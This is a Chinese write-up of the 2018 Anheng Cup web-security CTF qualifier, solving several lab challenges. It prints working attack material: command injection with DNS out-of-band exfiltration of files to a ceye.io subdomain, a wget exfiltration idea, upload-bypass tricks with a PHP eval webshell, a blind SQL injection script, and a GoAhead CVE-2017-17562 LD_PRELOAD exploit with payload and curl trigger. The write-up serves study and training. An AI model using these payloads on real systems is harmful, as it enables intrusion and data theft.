2018“安恒杯”WEB安全测试秋季资格赛WP

保证您更舒适的阅读体验和持续更新,本文已转移至我的个人博客,请您访问http://anemone.top/以确保您阅读的文章是最新版本,以及看到新的文章

2018“安恒杯”WEB安全测试秋季资格赛,被老板批评“只会写文档的黑客”后,赶快刷几题找回点自信Orz。

奇怪的恐龙特性

进入靶机,可以看到网页源码

<?php 
highlight_file(__FILE__); 
ini_set("display_error", false);  
error_reporting(0);  
$str = isset($_GET['A_A'])?$_GET['A_A']:'A_A'; 
if (strpos($_SERVER['QUERY_STRING'], "A_A") !==false) { 
    echo 'A_A,have fun'; 
} 
elseif ($str<9999999999) { 
    echo 'A_A,too small'; 
} 
elseif ((string)$str>0) { 
    echo 'A_A,too big'; 
} 
else{ 
    echo file_get_contents('flag.php'); 
     
} 

 ?> A_A,too small

首先要绕过isset($_GET['A_A']) && strpos($_SERVER['QUERY_STRING'], "A_A"),表面上说我们需要生成一个GET请求并且参数为A_A,但是第二个判断有要求GET请求的参数不能为A_A,看起来这是不可能的,但是由于PHP特性,会自动替换._,因此我们可以构造 http://ip/?A.A=xxx来绕过这个判断。

接着我们需要绕过后面两个对str的判断,即保证`str<9999999999 || (string)str>0==false`,这看起来写是不可能,但是在PHP中,我们可以使str为一个数组,由于类型不同无法判断/强制转化,因此这样两个判断就都不成立了,这样我们就可以开心的getflag了。最后的GET请求为http://114.55.36.69:8022/?A.A[]=1

ping也能把你ping挂

0x01

进入靶机,跳转到ping的页面,猜测有命令注入的问题

1537705876135.png

尝试后发现;,空格被过滤,并且长度存在限制,这样我们只能用ls先看下当前目录有啥东西了:

1537705979278.png

这里我们发现了上传入口:you_find_upload.php。

0x02

进入http://114.55.36.69:6664/you_find_upload.php,看到可以查看源码,那就点进去查看吧

1537706140903.png

前面那一串数字先不管,将后面的base64解码,得到上传的源代码:

<?php
$type = array('gif','jpg','png');
mt_srand((time() % rand(1,100000)%rand(1000,9000)));
echo mt_rand();
if (isset($POST['submit'])) {
    $check = getimagesize($FILES'file');
    @$extension = end(explode('.',$FILES'file'));
    if(in_array($extension,$type)){
        echo 'File is an image - ' . $check['mime'];
        $filename = mt_rand().''.$FILES'file';
        move_uploaded_file($FILES'file', $filename);
        echo "<br>\n";
    } else {
        echo "File is not an image";
    }
}
if(isset($GET['p'])){
    if(@preg_match("/..\//",$GET['p'])){
        echo "你这个孩子,too young too simple";
    }
    else{
       @include $_GET['p'].".php";
    }
}
?>

0x03

首先我们需要绕过文件类型限制,in_array($extension,$type)表示我们得上传后缀是gif,jpg或png的文件,这里复习一下上传绕过的普通套路:

  1. Apache

    1.php.jpg #从apache从右往左,直到可解析的文件后缀

  2. Nginx

    1.php%001.jpg #00处截断

  3. IIS

    a.asp;jpg

    a.php. 和a.php[空格] #会自动去掉空格

注意到这里用的是Apache容器,那我们就上传个backdoor.php.jpg文件就好了

1537706584108.png

看到这里我们已经上传成功了

0x04

接下来我们需要确定上传后的文件名,再次查看源码,点击上传后,程序首先使用mt_srand((time() % rand(1,100000)%rand(1000,9000)));设置了随机数种子,并且打印第一个随机数echo mt_rand();;而上传文件名就是第二个随机数+原本文件名$filename = mt_rand().''.$FILES'file';,这样的伪随机数是存在问题的,我们可以根据第一个随机数暴力破解出随机数种子(注意到这里的种子∈[1000,9000]),然后再计算出第二个随机数。

以第3步的上传结果为例,使用php_mt_seed.exe计算出随机数种子为5240.

λ php_mt_seed.exe 823735129
Found 0, trying 0 - 33554431, speed 0 seeds per second
seed = 5240
Found 1, trying 67108864 - 100663295, speed 71014670 seeds per second

接着推测出第二个随机数:

λ cat test.php
<?php
mt_srand(5240);
echo mt_rand();
echo "\n";
echo mt_rand();
?>
λ php test.php
823735129
288373614

那么我们的文件名就是288373614_backdoor.php.jpg

后面就可以连菜刀http://114.55.36.69:6664/upload/288373614_backdoor.php.jpg,flag在根目录

1537707585778.png

ping

这题算是看着答案做出来的,不过思路很好,用到了DNS带外数据的知识,这里也记录一下:

0x01

首先还是扫描网站,可以看到网站泄露了一个robots.txt文件

1537792801839.png

访问该文件,看到目录下存在index.txt,where_is_flag.php文件

1537792801839.png

先看index.txt:

<?php include("where_is_flag.php");echo "ping";$ip =(string)$_GET['ping'];$ip =str_replace(">","0.0",$ip);system("ping  ".$ip);

可以看到存在命令执行,ping参数会直接拼接在ping命令后

where_is_flag.php我们需要用命令执行才能看了。

0x02

尝试使用http://114.55.36.69:8015/?ping=127.0.0.1,发现网站未响应,这是因为后台正在循环ping,说明了命令执行成功。

接着尝试使用http://114.55.36.69:8015/?ping=-c 1 127.0.0.1,可以发现网站网站后台并没有回显ping的结果,这说明虽然网站执行了命令,但是并不返回命令执行结果。

那么如何拿到命令执行结果呢?第一个想到的是使用http请求,比如说wget www.mysite.com/$(cat flag.php),但是尝试后发现无效,这可能是服务器并没有wget命令。

正解是使用dns解析获取带外数据,这里推荐一个平台:http://ceye.io,登录之后可以获得一个专属的地址(假设为qwerty.ceye.io),那么如果我们<code>ping `whoami`.qwerty.ceye.io</code>,由于ping的第一步是dns解析,所以在http://ceye.io/records/dns就可以看whoami命令执行的结果:

1537793445399.png

根据上述原理,我们可以获取where_is_flag.php,但是如果文件内容中有空格,我们的ping命令就不能执行了,所以用sed命令将空格换成sspacee。这样我们ping参数为:
<code>http://114.55.36.69:8015/?ping= `cat where_is_flag.php|sed 's/\s/sspacee/g'`.0ri9zr.ceye.io</code>

同时在ceye中可以看到文件内容了

1537792741495.png

接着访问dgfsdunsadkjgdgdfhdfhfgdhsadf/flag.php,如法炮制即可:

<code>http://114.55.36.69:8015/?ping= `cat dgfsdunsadkjgdgdfhdfhfgdhsadf/flag.php|sed 's/\s/sspacee/g'`.0ri9zr.ceye.io</code>

可以看到flag:

1537793298457.png

拓展: 不止是命令执行,dns的带外数据还能传很多东西比如说SQL注入、XXE,详细可以看http://ceye.io/payloads,Github上也有了利用该方法进行SQL注入的工具(https://github.com/ADOOO/DnslogSqlinj)

ProxyError

修改Host:192.168.5.132

新瓶装旧酒

0x01 代码审计+文件上传

这里可以看到需要上传一个zip文件:

1539350142198.png

这里看到zip文件中需要包含一个图片后缀:

1539350155700.png

根据apache的特性,使用大马1.pHp.png(注意到文件名不能有.ph),并且压缩成zip上传,发现flag.php

1539350804776.png

GOGOGO

0x01 GoAhead CVE-2017-17562

实际上腾讯的“开源Web服务器GoAhead漏洞CVE-2017-17562分析“ 一文已经对此漏洞进行了详细解释,这里只概括的说一下:

  1. 因为cgiHandler的过滤不当,导致LD_PRELOAD变量可控,而程序会读取LD_PRELOAD变量记录的文件路径并且执行文件代码;
  2. launchCgi函数调用系统函数dup2()将stdin文件描述符指向了POST请求数据对应的临时文件。

从发送payload的命令可以看到,我们的POST中控制了两个输入,一个是LOAD_PRELOAD参数(将它设置为了/proc/self/fd/0),一个是POST的data(将它设置为了我们编译生成的动态链接库)。/proc/self/fd/0 是Linux的伪文件系统文件,实际上指的是stdin,以下命令的执行结果可以说明这一点:

1538571783966.png

这样结合第一条,即程序会从我们标准输入中取代码执行,又因为第二条,我们的标准输入被定向到了POST的临时文件中,具体来说,即定向到了我们的payload.so文件上,这样整个原理就走通了。

0x02 复现CVE

准备payload

#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>

static void before_main(void) __attribute__((constructor));
static void before_main(void) {
    /* printf("hello, payload executed.\n"); */
    system("cat /var/www/goahead/cgi-bin/hello.cgi");

}

编译

$ gcc -shared -fPIC ./payload.c -o payload.so

触发payload

$ curl -X POST --data-binary @payload.so http://114.55.36.69:8018/cgi-bin/hello.cgi?LD_PRELOAD=/proc/self/fd/0 -i
HTTP/1.1 200 OK
Server: GoAhead-http
Date: Fri Oct 12 13:38:48 2018
Transfer-Encoding: chunked
Connection: keep-alive
X-Frame-Options: SAMEORIGIN
Pragma: no-cache
Cache-Control: no-cache
#!/usr/bin/perl
print "Content-Type: text/html\n\n";
print "Hello GOGOGO";
#flag{ef9f1f880e1f001bedd32bfc52674128}
#!/usr/bin/perl

curl: (56) Illegal or missing hexadecimal sequence in chunked-encoding

进击的盲注

0x01 敏感信息泄露

扫描存在robots.txt

1539405059283.png

0x02 SQL盲注

看源码,username处存在注入,过滤符号"(",")"

1539405263908.png

使用regexp binary注入:

burp0_url = "http://114.55.36.69:6663/index.php"
burp0_headers = {
    "Cache-Control": "max-age=0",
    "Origin": "http://114.55.36.69:6663",
    "Upgrade-Insecure-Requests": "1",
    "Content-Type": "application/x-www-form-urlencoded",
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3377.1 Safari/537.36",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8",
    "Referer": "http://114.55.36.69:6663/",
    "Accept-Encoding": "gzip, deflate",
    "Accept-Language": "zh-CN,zh;q=0.9",
    "Connection": "close"}

result = ''
payload = "admin' and password regexp binary '^{res}'#"
for i in xrange(0,50):
    for j in xrange(32,126):
        if chr(j) in ['*','\\','/','(',')','+','.','?','[',']','^']:
            continue
        hh = payload.format(res=result+chr(j)
        print hh

        burp0_data = {"username": hh, "password": "admin"}
        zz = requests.post(burp0_url, headers=burp0_headers, data=burp0_data)
        #print zz.content
        if 'password error!' in zz.content:
            result += chr(j)
            print result
            break

得到:dVAxMEBkX25Fdy5waHA=$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

base64解码后得到uP10@d_nEw.php

0x03 文件上传绕过

访问看到一个上传界面

shangchuan

传大马,发现根目录下存在flag:

1539405664157.png

艰难的Bypass之路

非正常解法

扫描到上传目录

1539347922000.png

0x01 发现dalao留的后门

http://114.55.36.69:6663/uploads/

0x02 直接用大佬的后门

a.php;.jpg为例,查看后门密码

<script language="pHp">@eval($_POST['sb'])</script>

菜刀连接,查看flag

/flag

或者大马http://114.55.36.69:6663/uploads/shell.php.jpg 密码admin

注:题目和payload已上传至GitHub:https://github.com/Anemone95/ctf_wp/tree/master/mooctest2018pre

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 213,254评论 6 492
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 90,875评论 3 387
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 158,682评论 0 348
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 56,896评论 1 285
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 66,015评论 6 385
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 50,152评论 1 291
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,208评论 3 412
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 37,962评论 0 268
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,388评论 1 304
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 36,700评论 2 327
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 38,867评论 1 341
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 34,551评论 4 335
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,186评论 3 317
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 30,901评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,142评论 1 267
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 46,689评论 2 362
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 43,757评论 2 351

推荐阅读更多精彩内容

  • 昏暗的夜晚,扎紧领口, 寒风依旧,热辣的余温在酒壶里 喝完最后一滴,就会装进自已 醉意淹没,以免收拾枝枝叶叶的残筵...
    平林凯风阅读 411评论 0 10
  • ​PPT模板介绍 100多页精美幻灯片设计 为每个图形设置了精美的动画效果 Powerpoint内图形均为矢量元素...
    顶尖PPT阅读 334评论 0 1
  • react vr中文网:www.vr-react.com qq群:481244084 官方给了几个例子,有些人运行...
    liu_520阅读 4,126评论 5 3
  • 每个人的价值观都不一样,看似是一种选择的东西其实是很平常毋庸置疑的。但人与人的不同造成了多种结果的出现,于是...
    哈尔的移动城阅读 356评论 0 0
  • ​在朝九晚五的城市生活中泡久了,人就会像猫这种液体一样瘫软无力,所以每一年我都会跟自己说:再忙也好,一定要抽时间出...
    一捆女孩阅读 349评论 0 1